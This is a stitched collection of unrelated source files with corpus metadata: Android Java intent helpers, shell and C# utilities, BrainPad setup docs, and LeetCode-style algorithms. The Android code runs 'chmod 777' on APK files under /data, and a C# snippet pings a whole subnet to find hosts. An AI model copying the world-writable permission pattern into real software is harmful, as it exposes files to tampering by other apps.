inquiry.
Java
UTF-8
3,524
2.53125
3
[]
no_license
package com.guobi.gfc.gbmiscutils.intent; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.IOException; import java.io.InputStream; import com.guobi.gfc.gbmiscutils.config.GBManifestConfig; import android.content.Context; import android.content.Intent; import android.net.Uri; public class GBIntentUtils { public static final Intent createIntentByAction(Context context,String action) { try { String intentName = GBManifestConfig.getMetaDataValue(context, action); if(intentName==null || intentName.length()<=0) return null; Class<?> clazz = Class.forName(intentName).newInstance().getClass(); if(clazz==null) return null; return new Intent(context, clazz); } catch (Exception e) { //ignore } return null; } /** * 这种方法比较猥琐,难道没有其他方法? * @param context * @param pkgName * @return */ public static boolean isApkInstalled(Context context,String pkgName){ try{ context.getPackageManager().getPackageInfo(pkgName,0); return true; }catch(Exception e){ return false; } } public static final Intent getInstallIntent(String path){ chmodPath(path); Intent intent = new Intent(Intent.ACTION_VIEW); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setDataAndType( //Uri.parse(path) Uri.fromFile(new File(path)) ,"application/vnd.android.package-archive"); return intent; } public static final void startLaunchActivityForPackage(Context context, String pkgName ){ try{ context.startActivity(context.getPackageManager().getLaunchIntentForPackage(pkgName)); }catch(Exception e){ } } public static final void startInstallApk(Context context,String path){ try{ chmodPath(path); context.startActivity(getInstallIntent(path)); }catch(Exception e){ e.printStackTrace(); } } public static void chmodPath(String path){ if (path.startsWith("/data")) { int index = path.lastIndexOf("/"); String dirPath = path.substring(0, index); String[] args0 = { "chmod", "705", dirPath }; String result = exec(args0); String[] args1 = { "chmod", "777", path}; result = exec(args1); } } public static String exec(String[] args) { String result = ""; ProcessBuilder processBuilder = new ProcessBuilder(args); Process process = null; InputStream errIs = null; InputStream inIs = null; try { ByteArrayOutputStream baos = new ByteArrayOutputStream(); int read = -1; process = processBuilder.start(); errIs = process.getErrorStream(); while ((read = errIs.read()) != -1) { baos.write(read); } baos.write('\n'); inIs = process.getInputStream(); while ((read = inIs.read()) != -1) { baos.write(read); } byte[] data = baos.toByteArray(); result = new String(data); } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } finally { try { if (errIs != null) { errIs.close(); } if (inIs != null) { inIs.close(); } } catch (IOException e) { e.printStackTrace(); } if (process != null) { process.destroy(); } } return result; } }
Shell
UTF-8
1,715
3.90625
4
[ "MIT" ]
permissive
#!/usr/bin/env bash ulimit -c unlimited export GOTRACEBACK=crash workspace=$(cd "$(dirname $0)/" || exit 1; pwd) cd ${workspace} || exit 1 app_name=tms pid_file=app.pid function check_pid() { if [[ -f ${pid_file} ]];then pid=`cat ${pid_file}` if [[ -n ${pid} ]]; then running=`ps -p ${pid}|grep -v "PID TTY" |wc -l` return ${running} fi fi return 0 } function start() { check_pid running=$? if [[ ${running} -gt 0 ]];then echo -n "$app_name now is running already, pid=" return 1 fi chmod u+x ./${app_name} nohup ./${app_name} > /dev/null 2>&1 & sleep 1 running=`ps -p $! | grep -v "PID TTY" | wc -l` if [[ ${running} -gt 0 ]];then echo $! > ${pid_file} echo "$app_name started..., pid=$!" else echo "$app_name failed to start." return 1 fi } function stop() { pid=`cat ${pid_file}` kill -15 ${pid} rm -f ${pid_file} echo "$app_name stoped..." } function restart() { stop sleep 1 start } function status() { check_pid running=$? if [[ ${running} -gt 0 ]];then echo started else echo stoped fi } function update(){ file=${app_name}.tar.gz tar -xf $file backup=${app_name}_$(date +%m_%d).tar.gz mv -f $file backup/$backup restart } function help_me() { echo "$0 start|stop|restart|status" } if [[ "$1" == "" ]]; then help_me elif [[ "$1" == "stop" ]];then stop elif [[ "$1" == "start" ]];then start elif [[ "$1" == "restart" ]];then restart elif [[ "$1" == "status" ]];then status elif [[ "$1" == "update" ]];then update else help_me fi
Markdown
UTF-8
7,859
3.234375
3
[ "Apache-2.0" ]
permissive
# System Setup --- TinyCLR OS is the tiny operating system used by the BrainPad to run your C# and Visual Basic programs. Microsoft Visual Studio is used to write these programs on your computer and is also used by professional programmers the world over. Both TinyCLR and Visual Studio are available for free, but must be set up before using them to program the BrainPad to start having fun. > [!Tip] > You can learn more about TinyCLR OS on the [**GHI Electronics website**](https://www.ghielectronics.com/tinyclr/features) ## System Setup Overview The instructions on this page describe how to setup your computer to start programming the BrainPad using Visual Studio. The steps are as follows: **Step 1: Setup Your Computer** * [Install Visual Studio](#install-visual-studio). * [Install the TinyCLR Project System](#install-the-tinyclr-project-system). * [Install the TinyCLR NuGet packages](#install-the-tinyclr-nuget-packages). **Step 2: Setup Your Brainpad** * [Install the BrainPad firmware](#install-the-brainpad-firmware). --- ## Step 1: Setup Your Computer --- ### Install Visual Studio The Visual Studio Community Edition is free and can be found here: [Microsoft Visual Studio 2017 Community Edition.](https://www.visualstudio.com/vs/community/) [![VisualStudio](images/download-visual-studio.png)](https://www.visualstudio.com/vs/community/) Click on the above link an then click on the **Download VS Community 2017** button. After downloading is complete, open or run the file. If you are asked, allow the program to make changes to your device. When the installation program shows the `Workloads` screen, select `.NET desktop development` (you should see a check mark in the `.NET desktop development` box) and then click the `Install` button. ![Workloads](images/visual-studio-workloads.png) After installation is complete, click on the `Launch` button. You will be asked to sign in or sign up for Visual Studio developer services. You can either sign in (or sign up) now or click the 'Not now, maybe later' option. You will then be asked to pick a color scheme and Visual Studio will start. ### Install the TinyCLR Project System If Visual Studio is open, close it before continuing with the TinyCLR installation. Download the TinyCLR [Visual Studio Project System](../resources/downloads.md#visual-studio-project-system) from our [Downloads](../resources/downloads.md) page. [![Download Visual Studio Project System](images/download-vs-project-system.png)](../resources/downloads.md#visual-studio-project-system) After the download is complete, open or run the downloaded file. In the `VSIX Installer` dialog box click the `Install` button. ![Install VSIX](images/install-vsix.png) ### Install the TinyCLR Nuget Packages 1. Since TinyCLR OS is still so new, we haven't yet uploaded any packages to NuGet. Click [here](../resources/downloads.md#nuget-libraries) and download the latest Nuget library. [![Download Nuget Library](images/download-nuget.png)](../resources/downloads.md#nuget-libraries) 2. Open or run the downloaded file. 3. A window will pop up with a list of the files in the library. Click on the `Extract all` button. ![Extract all](images/extract-all.png) 4. A dialog box will appear allowing you to select a folder to save the files. You can change the folder location or accept the default location. You will need to remember the folder location for step 11. Click on the `Extract` button to extract and save the files. ![Select location to save files](images/select-location.png) 5. If a window with the files appears, you can close it before continuing. 6. Start Visual Studio. From the `Tools` menu select `NuGet Package Manager` and then select `Package Manager Settings`. 7. In the left panel under `Nuget Package Manager` select `Package Sources`. 8. Click on the button with the green plus sign near the upper right corner of the `Options` dialog box. A new package source will be created in the `Available package sources` box. ![Click green plus sign button](images/click-green-plus-sign.png) 9. Change the name of the package source from "package source" to "offline." You may have to click on the package source (in the available package sources box) before you can change the name. 10. Now change the folder name in the text box to the right of `Source:` to the folder where you saved the NuGet packages in step 5. You can either type in the folder name or click on the `...` button to search for the folder. 11. Click on the `Update` button. The folder name should now appear under the `offline` entry under `Available package sources`. 12. Click the `OK` button. ![Click the OK button](images/click-ok.png) ## Step 2: Setup Your BrainPad --- > [!Tip] > If you have an older concept or prototype BrainPad the setup is slightly different. See the [**Older BrainPads**](../resources/older-brainpad.md) page for more details. ### Install the BrainPad Firmware To prepare the BrainPad you only need to install the latest firmware as described below. 1. Download the latest TinyCLR OS firmware for the BrainPad from [Downloads](../resources/downloads.md#tinyclr-os-brainpad-firmware). 2. Select `Show in folder` or `Save` and `Open folder` (depending on your browser). 3. Connect the BrainPad to your computer using a micro USB cable. The power (PWR) light on the BrainPad should be on. 4. Press and hold the RESET button on the BrainPad for at least three seconds until the Light Bulb on the BrainPad lights up green. 5. A window will open named `BrainPad2`. Copy or drag the firmware file from the folder in step 2 into this window. 6. The Light Bulb on the BrainPad will flicker and a progress gauge will appear on the computer screen. 7. It only takes a few seconds for the firmware to be copied to the BrainPad. When it is done, the green light on the BrainPad will stop flickering and the `BrainPad2` window will close. 8. Congratulations! Your BrainPad is now running the latest firmware! > [!Note] > The BrainPad comes with a "bootloader" pre-installed. You shouldn't have to reinstall it unless you are an advanced user using advanced programming techniques. Check out our [**bootloader**](../resources/bootloader.md) page to find out more. ## Going Beyond! Congratulations! You are now ready to start programming like a professional. You have the option of using the [C#](csharp/intro.md) programming language or the [Visual Basic](vb/intro.md) programming language. If you are not sure which one to pick, C# is used more often in the professional world and is recommended for those serious about learning programming. Visual Basic is easier to use -- especially for beginners. We use C# for our own software development, but we usually start with Visual Basic for those who are new to programming. You are not locked in to one language -- you can freely switch between C# and Visual Basic. To give you a better idea, here is code that counts from 1 to 10 on the BrainPad display in C#: ``` namespace Counter { class Program { public void Main() { for (int count = 1; count < 11; count++) { BrainPad.Display.DrawNumber(0, 0, count); BrainPad.Display.RefreshScreen(); BrainPad.Wait.Seconds(1); } } } } ``` And here is the equivalent code in Visual Basic: ``` Class Program Public Sub Main() For count = 1 To 10 BrainPad.Display.DrawNumber(0, 0, count) BrainPad.Display.RefreshScreen() BrainPad.Wait.Seconds(1) Next count End Sub End Class ``` Click on a link below to get started: * [C# Introducton](csharp/intro.md) * [Visual Basic Introduction](vb/intro.md) --- You are on the documentation website for the BrainPad. The main website is found at [www.brainpad.com](http://www.brainpad.com/)
Python
UTF-8
947
3.953125
4
[]
no_license
# Returns the majority element in a list. A majority element is defined as any element which occurs in the list more than n/2 times, # where n is the number of elements. Returns -1 if there is no majority element. def get_majority_element(a, left, right): if left == right: return -1 if left + 1 == right: return a[left] # Conquer # Divide mid = (left+right)//2 leftSide = get_majority_element(a, left, mid) rightSide = get_majority_element(a,mid,right) # Conquer if leftSide == rightSide: majority = leftSide return majority if leftSide == -1 and rightSide == -1: return -1 else: l = a[left:mid] r = a[mid:right] lst = l+r if lst.count(leftSide) > len(lst) //2: return leftSide if lst.count(rightSide) > len(lst)//2: return rightSide else: return -1
TypeScript
UTF-8
1,208
3.28125
3
[ "MIT" ]
permissive
import { Property } from "./IProperties"; export class User { /** * @public name:string * @public password:string * @public email:string * @method addProperty(property: Property): User * @method changeProperty(property: Property): boolean */ name: string; password: string; email: string; /** * @description this.name, this.password, this.email * @param ...args: string[] {[this.name, this.password, this.email]} */ constructor(...args: string[]) { this.name = ""; this.password = ""; this.email = ""; let receiveInputs = [this.name, this.password, this.email]; for (let i in args) { receiveInputs[i] = args[i]; } } /** * @description 添加一个User的属性 * @param property: Property * @returns User */ addProperty(property: Property): User { this[property.name] = property.value; return this; } /** * @description 改变一个User的属性 * @param property: Property * @returns boolean */ changeProperty(property: Property): boolean { if (this[property.name] == undefined) { return false; } else { this[property.name] = property.value; return true; } } }
JavaScript
UTF-8
6,795
2.8125
3
[]
no_license
/** * Created by Administrator on 2016/4/20. */ // 数据缓存 var data_info; // 替换字符串 function replace_data_info() { for (var i = 0; i < data_info.length; ++i) { // 逐个替换 var info = data_info[i]; // 背景 if (info.platform_background.length > 2) { info.platform_background = info.platform_background.substr(0, info.platform_background.length - 2); } // 成交量 if (info.platform_volume.length > 2) { info.platform_volume = info.platform_volume.substr(0, info.platform_volume.length - 2); } // 累计代还金额 if (info.platform_need_return.length > 2) { info.platform_need_return = info.platform_need_return.substr(0, info.platform_need_return.length - 2); } // 借款周期 if (info.platform_borrowing_period.length > 1) { info.platform_borrowing_period = info.platform_borrowing_period.substr(0, info.platform_borrowing_period.length - 1); } } } // 量化评级 function rankToVal(rank) { if (rank == "A+") return 10; else if (rank == "A") return 9; else if (rank == "A-") return 8; else if (rank == "B+") return 7; else if (rank == "B") return 6; else if (rank == "B-") return 5; else if (rank == "C+") return 4; else if (rank == "C") return 3; else if (rank == "C-") return 2; } // 进行排序 function platform_sort(tag, updown) { if (tag == '人气指数') { data_info.sort( function (d1, d2) { if (d1.platform_index.length == 0) return 1; if (d2.platform_index.length == 0) return -1; return (d1.platform_index - d2.platform_index) * updown; } ); } else if (tag == '评级') { data_info.sort( function (d1, d2) { if (d1.platform_rank.length == 0) return 1; if (d2.platform_rank.length == 0) return -1; var r1 = rankToVal(d1.platform_rank); var r2 = rankToVal(d2.platform_rank); return (r1 - r2) * updown; } ); } else if (tag == '平均收益') { data_info.sort( function (d1, d2) { if (d1.platform_earn.length == 0) return 1; if (d2.platform_earn.length == 0) return -1; var r1 = d1.platform_earn.substr(0, d1.platform_earn.length - 1); // 获取子字符串 var r2 = d2.platform_earn.substr(0, d2.platform_earn.length - 1); // 获取子字符串 return (parseFloat(r1) - parseFloat(r2)) * updown; } ); } else if (tag == '上线时间') { data_info.sort( function (d1, d2) { if (d1.platform_time.length == 0) return 1; if (d2.platform_time.length == 0) return -1; str1 = d1.platform_time.replace(/-/g, "/"); str2 = d2.platform_time.replace(/-/g, "/"); var date1 = new Date(str1); var date2 = new Date(str2); var value = 1; if (date1 < date2) value = -1; return value * updown; } ); } else if (tag == "平均利率") { data_info.sort( function (d1, d2) { if (d1.platform_rate.length == 0) return 1; if (d2.platform_rate.length == 0) return -1; var r1 = d1.platform_rate.substr(0, d1.platform_rate.length - 1); // 获取子字符串 var r2 = d2.platform_rate.substr(0, d2.platform_rate.length - 1); // 获取子字符串 return (parseFloat(r1) - parseFloat(r2)) * updown; } ); } else if (tag == "成交量") { data_info.sort( function (d1, d2) { if (d1.platform_volume.length == 0) return 1; if (d2.platform_volume.length == 0) return -1; // var r1 = d1.platform_volume.substr(0, d1.platform_volume.length - 2); // 获取子字符串 /// var r2 = d2.platform_volume.substr(0, d2.platform_volume.length - 2); // 获取子字符串 return (parseFloat(d1.platform_volume) - parseFloat(d2.platform_volume)) * updown; } ); } else if (tag == '平均借款期限') { data_info.sort( function (d1, d2) { if (d1.platform_borrowing_period.length == 0) return 1; if (d2.platform_borrowing_period.length == 0) return -1; var r1 = d1.platform_borrowing_period; // 获取子字符串 var r2 = d2.platform_borrowing_period; // 获取子字符串 return (parseFloat(r1) - parseFloat(r2)) * updown; } ); } else if (tag == '累计待还金额') { data_info.sort( function (d1, d2) { if (d1.platform_need_return.length == 0) return 1; if (d2.platform_need_return.length == 0) return -1; var r1 = d1.platform_need_return; // 获取子字符串 var r2 = d2.platform_need_return; // 获取子字符串 return (parseFloat(r1) - parseFloat(r2)) * updown; } ); } $("#sort_tag").text(tag); if (updown > 0) $("#sort_updown").text("递增"); else $("#sort_updown").text("递减"); show_data(data_info); show_data(data_info); return; } // 展示数据 function show_data(data_info) { $("tbody").html(""); // 清空 for (var i = 0; i < data_info.length; ++i) { // 逐个渲染 var info = data_info[i]; $("tbody").append("<tr>" + "<td>" + (i + 1) + "</td>" + "<td> " + info.platform_name + "</td>" + "<td>" + info.online_time + "</td>" + "<td>" + info.problem_time + "</td>" + "<td>" + info.region + "</td>" + "<td>" + info.registration_capital + "</td>" + "<td>" + info.event_type + "</td>" + "</tr>" ); } } // 加载数据 $(document).ready(function () { $.getJSON("/detail/problem_platforms", function (data) { // 整理数据 show_data(data.platforms); // 显示平台内容 $("#platform_num").text(data.platforms.length); }); });
Java
UTF-8
8,156
2.59375
3
[]
no_license
package com.CloudDinner.Service; import com.CloudDinner.Dao.PersonFriendCrudDao; import com.CloudDinner.Model.FRIEND_STATUS_TABLE; import com.CloudDinner.Model.FRIEND_TABLE; import com.CloudDinner.Model.PERSONAL_TABLE; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.ArrayList; import java.util.List; @Service public class FriendCrudServer { @Autowired private PersonFriendCrudDao personFriendCrudDao; /** * 通过id查询某一个用户(用于加好友) * @param id * @return */ public PERSONAL_TABLE selectuserone(String id){ PERSONAL_TABLE personal_table = new PERSONAL_TABLE(); try { Object object = personFriendCrudDao.selectuserone(id) ; if (object == null){ personal_table.setMessage("查询失败!"); }else { personal_table = (PERSONAL_TABLE) object; personal_table.setMessage("查询成功"); } } catch (Exception e) { personal_table.setMessage("错误,请重新操作!"); e.printStackTrace(); } return personal_table; } /** * 发送方加好友(如果向同一个用户发送多个好友请求,数据表内也只插入一条数据) * 加好友之前先查询好友表,判断双方是否为好友关系,并查询是否已有记录(被拒绝) * 这个有friendone和friendtwo,得用or,都满足关系 * @param friend_status_table * @return */ public String addFriend(FRIEND_STATUS_TABLE friend_status_table){ String Message = "" ; try { String f1 = friend_status_table.getSEND_ID(); String f2 = friend_status_table.getRECEIVE_ID(); FRIEND_TABLE friend_table = new FRIEND_TABLE(); friend_table.setFRIEND_ID_ONE(f1); friend_table.setFRIEND_ID_TWO(f2); if (personFriendCrudDao.selectFriendone(friend_table)!=null){ Message = "您与对方已经是好友,请勿重复添加"; }else { //不是好友 1,没发请求消息 2,被拒绝 //发送方查询某一个请求是否存在 Object object = personFriendCrudDao.selectFriendStatusOne(friend_status_table); if (object==null){ //不存在直接插入数据(发送好友请求) try { int status = personFriendCrudDao.addFriend(friend_status_table); if (status==1){ Message = "操作成功!"; }else { Message = "操作失败!" ; } } catch (Exception e) { Message = "错误,请重新操作!"; e.printStackTrace(); } }else { //存在(被拒绝),更新数据,相当于再发一次好友请求 int status = personFriendCrudDao.updateStatus(friend_status_table); try { if (status==1){ Message = "操作成功!"; }else { Message = "操作失败!"; } } catch (Exception e) { Message = "错误,请重新操作!"; e.printStackTrace(); } } } } catch (Exception e) { Message = "错误,请重新操作!"; e.printStackTrace(); } return Message ; } /** * 查看自己好友信息 * @param friend_table * @return */ public List<FRIEND_TABLE> selectFriends(FRIEND_TABLE friend_table){ List<FRIEND_TABLE> list = new ArrayList<FRIEND_TABLE>(); try { list = personFriendCrudDao.selectFriends(friend_table); } catch (Exception e) { list = null; e.printStackTrace(); } return list; } /** * 查看自己的好友请求通知 * @param friend_status_table * @return */ public List<FRIEND_STATUS_TABLE> selectFriendStatus(FRIEND_STATUS_TABLE friend_status_table){ List<FRIEND_STATUS_TABLE> list = new ArrayList<FRIEND_STATUS_TABLE>(); try { list = personFriendCrudDao.selectFriendStatus(friend_status_table); } catch (Exception e) { list = null ; e.printStackTrace(); } return list; } /** * 同意或拒绝好友请求 * @param friend_status_table * @return */ public String AgreeStatus(FRIEND_STATUS_TABLE friend_status_table){ String Message = ""; try { int status = personFriendCrudDao.AgreeStatus(friend_status_table); if (status==1){ Message = "操作成功!"; }else { Message = "操作失败!"; } } catch (Exception e) { Message = "错误,请重新操作!"; e.printStackTrace(); } return Message; } /** * 接收方同意后(调用接口)自动将双方数据插入好友表(双方成为好友),不同意,不插入. * @param friend_table * @return */ public String insertFriend(FRIEND_TABLE friend_table){ String Message = ""; try { String FRIEND_NAME_ONE = personFriendCrudDao.selectusername(friend_table.getFRIEND_ID_ONE()); String FRIEND_NAME_TWO = personFriendCrudDao.selectusername(friend_table.getFRIEND_ID_TWO()); friend_table.setFRIEND_NAME_ONE(FRIEND_NAME_ONE); friend_table.setFRIEND_NAME_TWO(FRIEND_NAME_TWO); int status = personFriendCrudDao.insertFriend(friend_table); if (status==1){ Message = "操作成功!"; }else { Message = "操作失败!"; } } catch (Exception e) { Message = "错误,请重新操作!"; e.printStackTrace(); } return Message; } /** * 更新好友备注 * @param friend_table * @return */ public String updateRemark(FRIEND_TABLE friend_table){ String Message = ""; System.out.println(friend_table); try{ int status1 = personFriendCrudDao.updateRemarkOne(friend_table); System.out.println(status1); if (status1==1){ Message = "操作成功!"; }else { int status2 = personFriendCrudDao.updateRemarkTwo(friend_table); System.out.println(status2); if (status2==1){ Message = "操作成功!"; }else { Message = "操作失败!"; } } } catch (Exception e) { Message = "错误,请重新操作!"; e.printStackTrace(); } return Message; } /** * 删除好友-->删除好友后,对好友状态记录进行删除 * @param friend_table * @return */ public String deleteFriend(FRIEND_TABLE friend_table){ String Message = ""; try{ FRIEND_STATUS_TABLE friend_status_table = new FRIEND_STATUS_TABLE(); friend_status_table.setSEND_ID(friend_table.getFRIEND_ID_ONE()); friend_status_table.setRECEIVE_ID(friend_table.getFRIEND_ID_TWO()); int status = personFriendCrudDao.deleteFriend(friend_table); if (status==1){ personFriendCrudDao.deleteStatus(friend_status_table); Message = "操作成功!"; }else { Message = "操作失败!"; } } catch (Exception e) { Message = "错误,请重新操作!"; e.printStackTrace(); } return Message; } }
C#
UTF-8
1,148
2.71875
3
[]
no_license
public partial class MainWindow : Window { public MainWindow() { InitializeComponent(); } public ObservableCollection<string> DomainComputers = new ObservableCollection<string>(); private void Button_Click(object sender, RoutedEventArgs e) { lvInformation.ItemsSource = DomainComputers; List<string> Computers = new List<string>(); for (int i = 1; i < 255; i++) { Computers.Add("192.168.9." + i.ToString()); } foreach (var comp in Computers) { System.Net.NetworkInformation.Ping objping = new System.Net.NetworkInformation.Ping(); objping.PingCompleted += new PingCompletedEventHandler(objping_PingCompleted); objping.SendAsync(comp, comp); } } void objping_PingCompleted(object sender, PingCompletedEventArgs e) { if (e.Reply.Status == IPStatus.Success) DomainComputers.Add(e.UserState as string); } }
Markdown
UTF-8
4,954
3.859375
4
[]
no_license
--- title: "4.寻找两个有序数组的中位数" date: 2019年11月22日12:09:33 --- # 寻找两个有序数组的中位数 ## 题目描述 > 给定两个大小为 m 和 n 的有序数组 nums1 和 nums2。 > 请你找出这两个有序数组的中位数,并且要求算法的时间复杂度为 O(log(m + n))。 > 你可以假设 nums1 和 nums2 不会同时为空。 示例 1: ```java nums1 = [1, 3] nums2 = [2] ``` 则中位数是 2.0 示例 2: ```java nums1 = [1, 2] nums2 = [3, 4] ``` 则中位数是 (2 + 3)/2 = 2.5 ## 官方答案 ### 递归法 在统计中,中位数被用来: > 将一个集合划分为两个长度相等的子集,其中一个子集中的元素总是大于另一个子集中的元素。 ```java /* * 1.首先,让我们在任一位置 i 将 A(长度为m) 划分成两个部分: * leftA | rightA * A[0],A[1],... A[i-1] | A[i],A[i+1],...A[m - 1] * * 由于A有m个元素,所以有m + 1中划分方式(i = 0 ~ m) * * 我们知道len(leftA) = i, len(rightA) = m - i; * 注意:当i = 0时,leftA是空集,而当i = m时,rightA为空集。 * * 2.采用同样的方式,将B也划分为两部分: * leftB | rightB * B[0],B[1],... B[j-1] | B[j],B[j+1],...B[n - 1] * 我们知道len(leftA) = j, len(rightA) = n - j; * * 将leftA和leftB放入一个集合,将rightA和rightB放入一个集合。再把这两个集合分别命名为leftPart和rightPart。 * * leftPart | rightPart * A[0],A[1],... A[i-1] | A[i],A[i+1],...A[m - 1] * B[0],B[1],... B[j-1] | B[j],B[j+1],...B[n - 1] * * 如果我们可以确认: * 1.len(leftPart) = len(rightPart); =====> 该条件在m+n为奇数时,该推理不成立 * 2.max(leftPart) <= min(rightPart); * * median = (max(leftPart) + min(rightPart)) / 2; 目标结果 * * 要确保这两个条件满足: * 1.i + j = m - i + n - j(或m - i + n - j + 1) 如果n >= m。只需要使i = 0 ~ m,j = (m+n+1)/2-i =====> 该条件在m+n为奇数/偶数时,该推理都成立 * 2.B[j] >= A[i-1] 并且 A[i] >= B[j-1] * * 注意: * 1.临界条件:i=0,j=0,i=m,j=n。需要考虑 * 2.为什么n >= m ? 由于0 <= i <= m且j = (m+n+1)/2-i,必须确保j不能为负数。 * * 按照以下步骤进行二叉树搜索 * 1.设imin = 0,imax = m,然后开始在[imin,imax]中进行搜索 * 2.令i = (imin+imax) / 2, j = (m+n+1)/2-i * 3.现在我们有len(leftPart) = len(rightPart)。而我们只会遇到三种情况: * * ①.B[j] >= A[i-1] 并且 A[i] >= B[j-1] 满足条件 * ②.B[j-1] > A[i]。此时应该把i增大。 即imin = i + 1; * ③.A[i-1] > B[j]。此时应该把i减小。 即imax = i - 1; * * */ public double findMedianSortedArrays(int[] A, int[] B) { int m = A.length; int n = B.length; if (m > n) { // to ensure m<=n int[] temp = A; A = B; B = temp; int tmp = m; m = n; n = tmp; } int iMin = 0, iMax = m, halfLen = (m + n + 1) / 2; while (iMin <= iMax) { int i = (iMin + iMax) / 2; int j = halfLen - i; if (i < iMax && B[j - 1] > A[i]) { iMin = i + 1; // i is too small } else if (i > iMin && A[i - 1] > B[j]) { iMax = i - 1; // i is too big } else { // i is perfect int maxLeft; if (i == 0) {//A分成的leftA(空集) 和 rightA(A的全部) 所以leftPart = leftA(空集) + leftB,故maxLeft = B[j-1]。 maxLeft = B[j - 1]; } else if (j == 0) { //B分成的leftB(空集) 和 rightB(B的全部) 所以leftPart = leftA + leftB(空集),故maxLeft = A[i-1]。 maxLeft = A[i - 1]; } else { //排除上述两种特殊情况,正常比较 maxLeft = Math.max(A[i - 1], B[j - 1]); } if ((m + n) % 2 == 1) { //奇数,中位数正好是maxLeft return maxLeft; } //偶数 int minRight; if (i == m) {//A分成的leftA(A的全部) 和 rightA(空集) 所以rightPart = rightA(空集) + rightB,故minRight = B[j]。 minRight = B[j]; } else if (j == n) {//B分成的leftB(B的全部) 和 rightB(空集) 所以rightPart = rightA + rightB(空集),故minRight = A[i]。 minRight = A[i]; } else {//排除上述两种特殊情况,正常比较 minRight = Math.min(B[j], A[i]); } return (maxLeft + minRight) / 2.0; } } return 0.0; } ```
C#
UTF-8
5,255
2.59375
3
[ "MIT" ]
permissive
using System; using System.Collections.Generic; using System.Linq; using System.Reflection; namespace Simple1C.Impl.Helpers { internal static class ReflectionHelpers { public static string FormatName(this Type type) { string result; if (typeNames.TryGetValue(type, out result)) return result; if (type.IsArray) return type.GetElementType().FormatName() + "[]"; if (type.IsDelegate() && type.IsNested) return type.DeclaringType.FormatName() + "." + type.Name; if (!type.IsNested || !type.DeclaringType.IsGenericType || type.IsGenericParameter) return FormatGenericType(type, type.GetGenericArguments()); var declaringHierarchy = DeclaringHierarchy(type) .TakeWhile(t => t.IsGenericType) .Reverse(); var knownGenericArguments = type.GetGenericTypeDefinition().GetGenericArguments() .Zip(type.GetGenericArguments(), (definition, closed) => new {definition, closed}) .ToDictionary(x => x.definition.GenericParameterPosition, x => x.closed); var hierarchyNames = new List<string>(); foreach (var t in declaringHierarchy) { var tArguments = t.GetGenericTypeDefinition() .GetGenericArguments() .Where(x => knownGenericArguments.ContainsKey(x.GenericParameterPosition)) .ToArray(); hierarchyNames.Add(FormatGenericType(t, tArguments.Select(x => knownGenericArguments[x.GenericParameterPosition]).ToArray())); foreach (var tArgument in tArguments) knownGenericArguments.Remove(tArgument.GenericParameterPosition); } return string.Join(".", hierarchyNames.ToArray()); } private static IEnumerable<Type> DeclaringHierarchy(Type type) { yield return type; while (type.DeclaringType != null) { yield return type.DeclaringType; type = type.DeclaringType; } } public static bool IsDelegate(this Type type) { return type.BaseType == typeof (MulticastDelegate); } private static string FormatGenericType(Type type, Type[] arguments) { var genericMarkerIndex = type.Name.IndexOf("`", StringComparison.InvariantCulture); return genericMarkerIndex > 0 ? string.Format("{0}<{1}>", type.Name.Substring(0, genericMarkerIndex), arguments.Select(FormatName).JoinStrings(",")) : type.Name; } private static readonly IDictionary<Type, string> typeNames = new Dictionary<Type, string> { {typeof (object), "object"}, {typeof (byte), "byte"}, {typeof (short), "short"}, {typeof (ushort), "ushort"}, {typeof (int), "int"}, {typeof (uint), "uint"}, {typeof (long), "long"}, {typeof (ulong), "ulong"}, {typeof (double), "double"}, {typeof (float), "float"}, {typeof (string), "string"}, {typeof (bool), "bool"} }; public static IEnumerable<Type> Parents(this Type type) { var current = type; while (current.BaseType != null) { yield return current.BaseType; current = current.BaseType; } } public static Type MemberType(this MemberInfo memberInfo) { var info = memberInfo as PropertyInfo; if (info != null) return info.PropertyType; var fieldInfo = memberInfo as FieldInfo; if (fieldInfo != null) return fieldInfo.FieldType; return null; } public static IEnumerable<T> EnumValues<T>() where T : struct { return Enum.GetValues(typeof (T)).Cast<T>(); } public static bool IsStatic(this MemberInfo memberInfo) { if (memberInfo == null) return false; var property = memberInfo as PropertyInfo; if (property != null) return IsStatic(property.GetGetMethod()) || IsStatic(property.GetSetMethod()); var field = memberInfo as FieldInfo; if (field != null) return field.IsStatic; var method = memberInfo as MethodBase; return method != null && method.IsStatic; } public static bool IsNullableOf(this Type type1, Type type2) { return Nullable.GetUnderlyingType(type1) == type2; } public static bool IsDefined<TAttribute>(this ICustomAttributeProvider type, bool inherit = true) where TAttribute : Attribute { return type.GetCustomAttributes(typeof (TAttribute), inherit).Any(); } } }
Java
UTF-8
2,208
2.625
3
[]
no_license
/* * @author Vikthor Nijenhuis * @project Peptide mzIdentML Identfication Module * */ package nl.eriba.mzidentml.identification.collections.mzid; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import nl.eriba.mzidentml.identification.objects.mzid.MzIdCombinedProteinPeptide; /** * * @author vnijenhuis */ public class MzIdCombinedProteinPeptideCollection { /** * Creates an ArrayList for MzIdProteinPeptide objects. */ private final ArrayList<MzIdCombinedProteinPeptide> proteinPeptideList; /** * ArrayList of MzIdPeptideEvidence objects. */ public MzIdCombinedProteinPeptideCollection() { proteinPeptideList = new ArrayList<>(); } /** * Adds a MzIdProteinPeptide object to the ArrayList. * * @param peptideEvidence MzIdProteinPeptide object. */ public final void addProteinPeptide(final MzIdCombinedProteinPeptide peptideEvidence) { proteinPeptideList.add(peptideEvidence); } /** * Removes a MzIdProteinPeptide object from the ArrayList. * * @param peptideEvidence MzIdProteinPeptide object. */ public final void removeProteinPeptide(final MzIdCombinedProteinPeptide peptideEvidence) { proteinPeptideList.remove(peptideEvidence); } /** * Returns an ArrayList of MzIdProteinPeptide objects. * * @return ArrayList of MzIdProteinPeptide objects. */ public final ArrayList<MzIdCombinedProteinPeptide> getProteinPeptideList() { return proteinPeptideList; } /** * * @return */ static Comparator<MzIdCombinedProteinPeptide> getProteinGroupSorter() { return new Comparator<MzIdCombinedProteinPeptide>() { @Override public int compare(MzIdCombinedProteinPeptide o1, MzIdCombinedProteinPeptide o2) { return o1.getProteinGroup().compareTo(o2.getProteinGroup()); } }; } /** * */ public final void sortOnProteinGroup() { Collections.sort(this.proteinPeptideList, getProteinGroupSorter()); } }
C#
UTF-8
2,150
2.75
3
[]
no_license
